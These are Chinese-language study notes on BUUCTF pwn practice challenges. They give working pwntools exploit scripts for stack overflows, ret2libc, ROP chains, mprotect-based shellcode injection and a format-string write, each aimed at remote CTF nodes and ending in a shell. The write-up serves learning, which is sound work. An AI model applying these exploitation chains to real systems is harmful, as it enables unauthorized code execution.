PWN(BUUCTF)

Tips

find -name flag

有些人喜欢藏flag【微笑】

栈溢出

ciscn_2019_n_1【**】

image-20241122220858428

思路

1.直接覆盖,执行bin/sh

from pwn import *
context(os="linux", arch="amd64", log_level='debug')
io = remote("node5.buuoj.cn",26771)
# io = process("")
padding = b'a'*(0x30+0x8)
sys_addr = p64(0x004006BE)
payload = padding + sys_addr
io.sendline(payload)
io.interactive()

2.修改v2的值

Tips:十进制小数转十六进制

import struct
# 将浮点数打包为IEEE 754格式的二进制数据
packed = struct.pack('!f', 11.28125) //更改数据
# 将二进制数据转换为十六进制字符串
hex_representation = packed.hex()
print(hex_representation)
from pwn import *
context(os="linux", arch="amd64", log_level='debug')
io = remote("node5.buuoj.cn",26771)
# io = process("")
padding = b'a'*(0x30-0x4)
v4 = p64(0x41348000)
payload = padding + v4
io.sendline(payload)
io.interactive()

jarvisoj_level0【*】

简单分析

栈溢出 buf声明0x80大小,read读取0x200

有system(”/bin/sh“)

直接覆盖跳转执行

bjdctf_2020_babystack

image-20241123163317252

nbytes相当于无符号数,既可以赋值为-1 也可以用足够大的数赋值,得具体看题目的要求

from pwn import *
r = remote('node5.buuoj.cn', 26664)
# r= process("./ciscn_2019_n_8")
elf = ELF("./bjdctf_2020_babystack")
sys_addr = 0x004006E6
rdi_adddr = 0x00400833
bin_sh_addr = 0x400858
system_addr = elf.symbols["system"]
payload = b'A' * (0x10+0x8) +p64(rdi_adddr) +p64(bin_sh_addr)+ p64(sys_addr)
# payload = b'a'*(0x10+0x8) + p64(sys_addr)
r.recv()
r.sendline(b'100')
r.recv()
r.sendline(payload)
r.interactive()

提供两种办法,一种是利用libc另一种利用后门

ciscn_2019_c_1【***】

这是一道经典的retlibc题

image-20241123171355116

输入1后进入encypt()函数

image-20241123171452118

函数内有危险函数 gets()

考虑使用libc来处理

from pwn import*
from LibcSearcher import *
r=remote("node5.buuoj.cn",28854)
# r=process('./ciscn_2019_c_1')
elf=ELF("./ciscn_2019_c_1")
ret_rdi=0x400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x000400B28
r.recv()
r.sendline('1')
r.recvuntil('encrypted\n')
payload1 = b'a'*0x58 +p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
构造用来打印puts地址,并返回main函数
//当然,如果你愿意,你也可以返回encypt函数,就可以少写三行代码
r.sendline(payload1)
r.recvuntil('Ciphertext\n')
r.recvuntil('\n')
puts_addr = u64(r.recv(6).ljust(0x8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
//上部分用来泄露puts的地址
r.recv()
r.sendline('1')
r.recvuntil('encrypted\n')
sys_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
ret_addr = 0x00000000004006b9 #注意他跟ret_di的区别
payload2 = b'a'*0x58 +p64(ret_addr)+p64(ret_rdi)+p64(bin_sh_addr)+p64(sys_addr)
r.sendline(payload2)
r.interactive()

外平栈/内平栈 例一【@@@@】以32位程序为例

保证堆栈平衡,我们有两种解决方法:内平栈、外平栈

外平栈就是在函数外部平衡堆栈,是在调用完子函数后,回到主函数中平衡栈

image-20241123175654313

区别

是不是发现了一开始并没有使用push/pop来控制堆栈,这里是使用的esp寻址,在遇到外平栈时我们就不用再offset后加4了,内平栈才需要。而之前做的题一般都是ebp寻址,属于内平栈,因此需要覆盖ebp。

两种解题方法

1.借助后门函数get_flag

image-20241123180015068

他的参数a1,a2是用栈来传递的参数。

fopen函数使用

使用fopen打开文件时,程序必须要正常退出才会有回显,因此需要使用exit函数来正常退出

payload构造如下:offset+后门函数+exit函数+参数

from pwn import *
p = process("./get_started_3dsctf_2016")
a1 = 0x308CD64F
a2 = 0x195719D1
offset = 56
back_door_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = b'a'*offset +p32(back_door_addr)+p32(exit_addr) +p32(a1) + p32(a2)
p.sendline(payload)
p.interactive()

外平栈/内平栈 例二

image-20241124165444722

这个题也是就只有一个栈溢出,没看到调用system

查看字符串的时候发现有个

.rodata:080BC2A8	00000009	C	flag.txt

追进去发现了

image-20241124165758993

这跟例一就很像

但是区别就是这里他只读取了flag 他没打印

那么我们就要找一个打印函数把他输出出来

一般来说write是很好用的

这里附上write函数的构造

原型:

ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

跟read一样也是三个参数

那么他们还是一样,外平栈不用加4

payload构造如下:

payload = b'a' * (45)  # 覆盖了栈,没有覆盖ebp,原因是不存在ebp,字符串空间的底部就是函数的返回地址。
payload += p32(getsecret) # 覆盖返回地址,返回到get_secret函数
payload += p32(write) # 从get_secret函数返回到write函数
payload += p32(0) # 这个是write的返回的值,没什么用,随便填
# 32位汇编的参数传递方式,下面有跳转连接参考。
payload += p32(1) # write函数的第一个参数,是 文件描述符;
payload += p32(flagaddr) # write函数的第二个参数,是 存放字符串的内存地址;
payload += p32(42) # write函数的第三个参数,是 打印字符串的长度

mprotect函数

int **mprotect **( const void *start , size_t len , int prot );

一参:需要进行操作的地址

二参:地址往后需要多大的空间

三参:需要赋予多少权限 7 = 4 + 2 + 1 (rwx)

即 mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

首先利用gets函数造成溢出,让程序跳转到mprotect函数去执行

可以直接在ida中查找,也可以使用elf获取

mprotect_addr = elf.symbols[‘mprotect’]

利用mprotect函数将目标地址改为可读可写可执行

mprotect函数的第一个参数需要设置为要被修改内存的地址,这里设置为.got.plt表的起始地址,这里不去修改bss字段是因为bss段是用来存放程序中未初始化的全局变量和静态变量的一块内存区域,程序一开始执行的时候会清0,你虽然修改了里面的值,但是程序一执行就会被清0,没法利用。

可以使用ida ctrl+s调出段表用.got.plt的起始位置

也可以使用vmmap 来找合适的地址

尝试过前三个空间的地址是可以在本地正常打通的

image-20241123185145817

确定gadget

因为mprotect函数需要传入三个地址,返回地址覆盖需要三个连续的pop地址,使用ROPgadget来获取地址

mprotect函数返回地址填上read函数地址,利用read函数将shellcode读入程序段

read函数原型:

ssize_t read(int fd ,voif *buf ,size_t count);

一参:文件描述符 标准输入(0),标准输出(1),标准错误(2)

二参:指向缓冲区的指针,数据将被读入此缓冲区 即选择修改的的目标地址

三参:读取的字节数

传入pwntools生成的shellcode

攻击完成~~~

from pwn import *
# r = process("./get_started_3dsctf_2016")
elf = ELF("./get_started_3dsctf_2016")
r = remote("node5.buuoj.cn",28112)
offset = 56
mprotect_addr =0x0806EC80
gotplt_addr = 0x80ec000 #试试能不能改
size = 0x100
proc = 0x7
pop_addr = 0x0809e4c5
read_addr = elf.symbols['read']
payload = (b"A" * offset + #覆盖
p32(mprotect_addr) + #mprotect地址 利用v4 ret
p32(pop_addr) + #mprotect有三个参数 要pop掉
p32(gotplt_addr)+ #一参
p32(size)+ #二参
p32(proc)+ #三参
p32(read_addr)+ #mprotect的返回地址填上read函数的地址
p32(pop_addr)+ #三个连续的POP地址,ROPgadget查询
p32(0)+ #标准输入
p32(gotplt_addr)+ #写入地址
p32(size)+ #二参
p32(gotplt_addr) #将read函数的返回地址设置为要写入的内存地址
)
r.sendline(payload)
payload2 = asm(shellcraft.sh()) #用pwntools生成的shellcode
r.sendline(payload2)

r.interactive()

[OGeek2019]babyrop

image-20241124140302365

main函数:首先生成了随机数buf,将随机数传入sub_804871F函数进行处理

返回值传入sub_80487D0函数

第14行 buf现在是我们输入的数据,s是当时生成的随机数即现在的a1,当strncmp(buf,s,v1)=0时,可以继续往下执行,否则就退出程序了。而我们又无法控制随机数的生成,所以传入\0就使v1=0,buf==s了

v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可

read函数读到‘\0’就停止读入了

此时返回值位buf[7]

image-20241124141408546

现在buf[7]被传入了sub_80487D0函数,可以看到,现在唯一有个栈溢出的点就是在第8行,此时buf[231],我们要让a1足够大 才能有空间写入rop链,此时a1的值是ascii码

怎么才能让ascii码足够大呢,在平常的学习里我们使用的都是前128位的ASCII码表

这里就要补充一个扩展的ASCII码表

image-20241124141808925

但是我们知道后面的字符我们可能无法打印出来,这里就可以使用到转义字符啦

image-20241124141924266

’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。

他给了远程端口用的libc文件,主要是自己的libcsearcher里没有,就把他给的文件放在做题的文件夹下

注意

from pwn import *
from LibcSearcher import *
# p = process("./pwn")
elf = ELF("./pwn")
p = remote("node5.buuoj.cn",26223)

payload1 = '\x00'+'\xFF'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
write_plt = elf.plt['write']
write_got = elf.got['write']
return_addr =0x080487D0 #返回sub_80487D0函数
payload2 = 235*b'a' + p32(write_plt) + p32(return_addr) + p32(1) + p32(write_got) + p32(4)
#32位程序:先是write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)
p.sendline(payload2)
write_addr = u32(p.recv(4))
print(hex(write_addr))

#这是用本地文件的写法

libc = ELF('./libc-2.23.so')
offset = write_addr - libc.sym['write']
system_addr=offset + libc.sym['system']
bin_sh_addr=offset + next(libc.search('/bin/sh'))

#这是用libcsearcher的写法
#libc = LibcSearcher("write",write_addr)
#libc_base = write_addr - libc.dump("write")
#system_addr = libc_base + libc.dump("system")
#bin_sh_addr = libc_base + libc.dump("str_bin_sh")


# p.sendline(payload1)
# p.recvuntil("Correct\n")
payload3 = 235*b'a' + p32(system_addr) +p32(0) +p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()

ciscn_2019_n_5

image-20241124152522804

简单的栈溢出,可以看到name是在bss段的,这个段可读可写可执行,那么我们就考虑把shellcode写到name中,然后利用v4跳转到name里去执行

但是不知道为啥这个方法没办法解决

那就只有用libc

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
# io = process("./ciscn_2019_n_5")
elf = ELF("./ciscn_2019_n_5")
p = remote("node5.buuoj.cn",28623)

plt_addr = elf.sym['puts']
got_addr = elf.got['puts']
main_addr = 0x400636
ret_addr = 0x4004c9
rdi_addr = 0x400713
name_addr = 0x601080

p.sendafter(b'name\n', b'1')

payload = b'a' * (0x20 + 8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
p.sendlineafter(b'me?\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')

p.sendafter(b'name\n', b'/bin/sh\x00')
payload = b'a' * (0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(name_addr) + p64(system)

p.sendlineafter(b'me?\n', payload)
p.interactive()

格式化字符串漏洞

[第五空间2019 决赛]PWN5

先写入buf,随后又printf(buf),明显的格式化字符串漏洞。

AAAA-%x-%x-%x-%x-%x,这样构造也行

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,例如:printf(“0x44444444%2$n”)意思就是说在打印出0x4444这个字符后,将“0x44444444”所输入的字符数量(此处是4,应该是因为是32bit)写入到%2$n所指的地址中.

image-20241122225056249

A的ASCII码为41,因此偏移值为10。

这样,我们可以先把0x804c044这个地址先写到偏移值为10的地址中,然后利用%10$n把4写入到这个地址中去,然后再将密码写为4就可以达到目的了。

由于在%10$n之前已经写入了0x804C044 为4字节, 因此%10$n:将%10n之前printf已经打印的字符个数”4”赋值给偏移处指针所指向的地址位置

ciscn_2019_n_8

image-20241123160642948

根据题目要求 v[13]=17LL时才执行sysytem(“/bin/sh”)